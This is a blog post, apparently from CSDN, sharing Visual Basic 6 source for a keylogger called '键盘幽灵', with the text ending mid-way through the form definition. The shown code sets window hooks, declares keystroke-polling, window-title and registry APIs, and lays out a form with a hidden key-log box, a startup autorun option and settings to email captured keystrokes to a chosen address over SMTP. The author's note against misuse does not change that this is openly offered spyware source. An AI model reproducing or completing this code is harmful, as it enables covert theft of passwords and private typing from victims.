键盘幽灵VB版

最新推荐文章于 2022-07-18 15:25:20 发布

blood

最新推荐文章于 2022-07-18 15:25:20 发布

阅读量2.2k

点赞数

分类专栏： VB程序文章标签： vb function alignment string integer timer

本文链接：https://blog.csdn.net/blood/article/details/12246

版权

本文介绍了如何使用Visual Basic（VB）编程实现键盘幽灵功能，通过编程技术实现对键盘输入的监听和记录，涉及关键函数的应用、字符串处理和定时器的设置。

摘要由CSDN通过智能技术生成

这个是我写的一个类似键盘幽灵的程序，大家自己看看吧。晚上无聊写的，不要拿来做坏事呀。

mCommon.bas

Attribute VB_Name = "mFuncation"
'设置钩子
Public Function Hook(ByVal hWnd As Long)
    '监视所有消息
    '设置子分类
    lpPrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)
End Function

'卸载钩子
Public Sub UnHook(ByVal hWnd As Long)
    '卸载子分类
    Call SetWindowLong(hWnd, GWL_WNDPROC, lpPrevWndProc)
End Sub

'设置CAPS键和NUMLOCK键的状态为开
Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
        While GetAsyncKeyState(VK_CAPITAL)
        Wend
        bOn = GetKeyState(VK_CAPITAL)
        bInit = True
    Else
        If GetAsyncKeyState(VK_CAPITAL) Then
            While GetAsyncKeyState(VK_CAPITAL)
                DoEvents
            Wend
            bOn = Not bOn
        End If
    End If
    CAPSLOCKON = bOn
End Function

'取得一个窗体的标题
Public Function GetCaption(WindowHandle As Long) As String
    Dim strBuffer As String, lngTextLength As Long
    lngTextLength = GetWindowTextLength(WindowHandle)
    strBuffer = String(lngTextLength, 0)
    Call GetWindowText(WindowHandle, strBuffer, lngTextLength + 1)
    GetCaption$ = strBuffer
End Function

Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)
End Function

mAPI.bas

Attribute VB_Name = "mAPI"
'申明API
Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer
Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Declare Function GetForegroundWindow Lib "user32.dll" () As Long
Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long

'申明常数
Const VK_CAPITAL = &H14
Const REG As Long = 1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND_TOPMOST = -1

Const SWP_NOMOVE = &H2
Const SWP_NOSIZE = &H1

Const flags = SWP_NOMOVE Or SWP_NOSIZE

Const GWL_WNDPROC = -4

frmMain.frm

VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmMain
   BorderStyle     =   1  'Fixed Single
   Caption         =   "键盘幽灵-VB版"
   ClientHeight    =   4305
   ClientLeft      =   45
   ClientTop       =   435
   ClientWidth     =   6750
   Icon            =   "frmMain.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   MinButton       =   0   'False
   ScaleHeight     =   4305
   ScaleWidth      =   6750
   StartUpPosition =   3  '窗口缺省
   Begin VB.CheckBox chkShowForm
      Caption         =   "实现出现运行设置窗体"
      Enabled         =   0   'False
      Height          =   255
      Left            =   3000
      TabIndex        =   15
      Top             =   1920
      Width           =   2175
   End
   Begin MSWinsockLib.Winsock Winsock1
      Left            =   720
      Top             =   120
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Timer Timer2
      Enabled         =   0   'False
      Interval        =   20000
      Left            =   5520
      Top             =   3360
   End
   Begin VB.Timer Timer1
      Enabled         =   0   'False
      Interval        =   1
      Left            =   5160
      Top             =   3360
   End
   Begin VB.CommandButton cmdExit
      Caption         =   "退出"
      Height          =   375
      Left            =   4800
      TabIndex        =   14
      Top             =   3840
      Width           =   975
   End
   Begin RichTextLib.RichTextBox txtKeyLog
      Height          =   735
      Left            =   4080
      TabIndex        =   13
      Top             =   840
      Visible         =   0   'False
      Width           =   2415
      _ExtentX        =   4260
      _ExtentY        =   1296
      _Version        =   393217
      ScrollBars      =   3
      DisableNoScroll =   -1  'True
      Appearance      =   0
      TextRTF         =   $"frmMain.frx":08CA
   End
   Begin VB.CommandButton cmdStart
      Caption         =   "确定"
      Height          =   375
      Left            =   3480
      TabIndex        =   12
      Top             =   3840
      Width           =   1095
   End
   Begin VB.TextBox txtEmail
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   2280
      TabIndex        =   11
      Top             =   3360
      Width           =   2655
   End
   Begin VB.TextBox txtPort
      Alignment       =   2  'Center
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   5280
      MaxLength       =   5
      TabIndex        =   9
      Text            =   "25"
      Top             =   2940
      Width           =   735
   End
   Begin VB.TextBox txtSmtp
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   2280
      TabIndex        =   7
      Text            =   "Localhost"
      Top             =   2940
      Width           =   2655
   End
   Begin VB.CheckBox chkSendMail
      Caption         =   "是否将键盘记录以电子邮件发送到自动的EMAIL中"
      Height          =   375
      Left            =   240
      TabIndex        =   5
      Top             =   2400
      Width           =   4335
   End
   Begin VB.CheckBox chkStartup
      Caption         =   "启动时是否自动运行"
      Height          =   255
      Left            =   240
      TabIndex        =   4
      Top             =   1920
      Width           =   2415
   End
   Begin VB.CommandButton cmdSavePath
      Appearance      =   0  'Flat
      Caption         =   "..."
      Enabled         =   0   'False
      Height          =   255
      Left            =   3240
      TabIndex        =   3
      Top             =   1440
      Width           =   495
   End
   Begin VB.TextBox txtFilePath
      Appearance      =   0  'Flat
      Enabled         =   0   'False
      Height          =   270
      Left            =   240
      TabIndex        =   2
      Top             =   1440
      Width           =   2895
   End
   Begin MSComDlg.CommonDialog cdgSaveFile
      Left            =   120
      Top             =   120
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
      DialogTitle     =   "保存键盘记录文件"
      Filter          =   "文本文件（*.txt）|*.txt"
      InitDir         =   "c:/"
   End
   Begin VB.CheckBox chkSaveFile
      Caption         =   "是否将记录存储为文件"
      Height          =   255
      Left            =   240
      TabIndex        =   1
      Top             =   960
      Width           =   2295
   End
   Begin VB.Label lblEmail
      Alignment       =   2  'Center
      AutoSize        =   -1  'True
      Caption         =   "Email："
      Enabled         =   0   'False
      Height          =   180
      Left            =   1560
      TabIndex        =   10
      Top             =   3420
      Width           =   630
   End
   Begin VB.Label lblPort
      Alignment       =   2  'Center
      AutoSize        =   -1  'True
      Caption         =   "："
      Enabled         =   0   'False
      Height          =   180
      Left            =   5040
      TabIndex        =   8
      Top             =   3000
      Width           =   180
   End
   Begin VB.Label lblSmtp
      Alignment       =   2  'Center
      AutoSize        =   -1  'True
      Caption         =   "Smtp服务器："
      Enabled         =   0   'False
      Height          =   180
      Left            =   1080
      TabIndex        =   6
      Top             =   3000
      Width           =   1080
   End
   Begin VB.Label lblAppName
      Alignment       =   2  'Center
      AutoSize        =   -1  'True
      Caption         =   "运行设定"
      BeginProperty Font
         Name            =